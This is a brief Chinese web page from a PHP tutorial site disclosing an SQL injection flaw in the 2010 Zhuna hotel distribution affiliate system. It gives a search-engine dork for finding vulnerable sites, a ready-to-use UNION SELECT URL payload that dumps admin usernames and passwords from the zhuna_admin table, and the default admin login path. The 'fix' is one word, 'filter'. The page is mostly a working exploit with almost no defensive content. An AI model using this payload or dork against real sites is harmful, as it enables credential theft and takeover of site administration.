住哪酒店分销联盟系统2010 SQL注入漏洞及修复 --自学php网

住哪酒店分销联盟系统2010 SQL注入漏洞及修复 -

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] 适用版本：住哪酒店分销联盟系统2010Search： inurl:index.php?m=hotelinfohttp://www.2cto.com /index.php?m=liansuohotelcityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,......

适用版本：住哪酒店分销联盟系统2010
Search： inurl:index.php?m=hotelinfo
http://www.2cto.com /index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin

默认后台：index.php?m=admin/login

修复：过滤

腾讯URL跳转漏洞及修复 - 网站安全 - 自学php

利用mysql注射点得到更多信息 - 网站安全 - 自学

子栏目

住哪酒店分销联盟系统2010 SQL注入漏洞及修复 -

最新评论

添加评论

更多文章推荐

添加评论